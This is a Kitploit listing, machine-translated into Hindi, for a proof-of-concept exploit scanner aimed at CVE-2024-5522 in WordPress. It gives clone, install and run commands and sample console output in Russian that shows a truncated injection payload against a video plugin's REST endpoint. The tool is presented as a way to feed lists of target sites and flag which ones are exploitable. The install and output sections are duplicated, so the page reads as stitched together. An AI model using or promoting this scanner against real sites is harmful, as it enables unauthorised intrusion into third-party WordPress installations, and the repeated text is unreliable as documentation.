CVE-2024-5522 — CVE-2024-5522 के लिए वर्डप्रेस में PoC शोषण स्कैनर। अनुकूलित पेलोड के साथ लक्ष्य URL को स्कैन करता है ताकि कमजोर साइटों की पहचान हो सके, नैतिक सुरक्षा परीक्षण के लिए रंग-कोडित परिणाम आउटपुट करता है। | Kitploit

साझा करें

EN

CVE-2024-5522 भेद्यता के लिए WordPress वेबसाइटों पर एक PoC शोषण स्कैनर। यह उपकरण लक्ष्य URL की सूची को स्कैन करके और यह निर्धारित करने के लिए एक विशिष्ट पेलोड का प्रयास करके भेद्यता की पहचान और शोषण में मदद करता है कि साइट असुरक्षित है या नहीं।

विशेषताएँ

स्वचालित भेद्यता स्कैनिंग: CVE-2024-5522 भेद्यता के लिए लक्ष्य URL को स्कैन करता है।
कस्टम पेलोड समर्थन: भेद्यता जांच के लिए फ़ाइल से एक पेलोड का उपयोग करता है।

स्थापना

रिपॉजिटरी को क्लोन करें:
```
git clone https://github.com/geniuszly/CVE-2024-5522
```
निर्देशिका पर जाएँ:
```
cd CVE-2024-5522
```
आवश्यक Python पैकेज स्थापित करें:
```
pip install -r requirements.txt
```

उपयोग

एक लक्ष्य सूची तैयार करें: वर्डप्रेस साइटों के URL वाली एक टेक्स्ट फ़ाइल बनाएँ जिन्हें आप स्कैन करना चाहते हैं। प्रत्येक URL एक नई पंक्ति पर होना चाहिए।
:

   ______     _______     ____   ___ ____  _  _        ____ ____ ____  ____  
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      | ___| ___|___ \|___ \ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ ____|___ \___ \ __) | __) |
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____|__) |__) / __/ / __/ 
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |____/____/_____|_____| 
                                                                               
                                      CVE-2024-5522 Exploit Scanner
                                         developed by geniuszly

Введите путь к списку целей: targets.txt

[Сканирование http://example.com]
[-] http://example.com не уязвима.

[Сканирование http://vulnerable-site.com]
[+] Цель уязвима! :D http://vulnerable-site.com

[Сканирование http://another-site.com]
[!] Ошибка подключения к http://another-site.com: Connection timeout

[Уязвимые URL-адреса]
[+] http://vulnerable-site.com/wp-json/h5vp/v1/video/0?id=-1'...

रिपॉजिटरी को क्लोन करें:
```
git clone https://github.com/geniuszly/CVE-2024-5522
```
प्रोजेक्ट फ़ोल्डर पर जाएँ:
```
cd CVE-2024-5522
```
आवश्यक Python पैकेज स्थापित करें:
```
pip install -r requirements.txt
```

एक लक्ष्य सूची तैयार करें: एक टेक्स्ट फ़ाइल बनाएँ जिसमें उन WordPress साइटों के URL हों जिन्हें आप स्कैन करना चाहते हैं। प्रत्येक URL एक नई पंक्ति पर होना चाहिए।
स्कैनर चलाएँ:
```
python3 main.py
```
आपसे लक्ष्य सूची फ़ाइल का पथ दर्ज करने के लिए कहा जाएगा। उपकरण प्रदान किए गए पेलोड का उपयोग करके CVE-2024-5522 भेद्यता के लिए प्रत्येक लक्ष्य को स्कैन करना शुरू कर देगा।
परिणामों की व्याख्या:

परिणाम रंगीन होंगे:
- हरा: लक्ष्य असुरक्षित है।
- लाल: लक्ष्य असुरक्षित नहीं है या कोई त्रुटि हुई।

   ______     _______     ____   ___ ____  _  _        ____ ____ ____  ____  
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      | ___| ___|___ \|___ \ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ ____|___ \___ \ __) | __) |
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____|__) |__) / __/ / __/ 
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |____/____/_____|_____| 
                                                                               
                                      CVE-2024-5522 Exploit Scanner
                                         developed by geniuszly

Введите путь к списку целей: targets.txt

[Сканирование http://example.com]
[-] http://example.com не уязвима.

[Сканирование http://vulnerable-site.com]
[+] Цель уязвима! :D http://vulnerable-site.com

[Сканирование http://another-site.com]
[!] Ошибка подключения к http://another-site.com: Connection timeout

[Уязвимые URL-адреса]
[+] http://vulnerable-site.com/wp-json/h5vp/v1/video/0?id=-1'...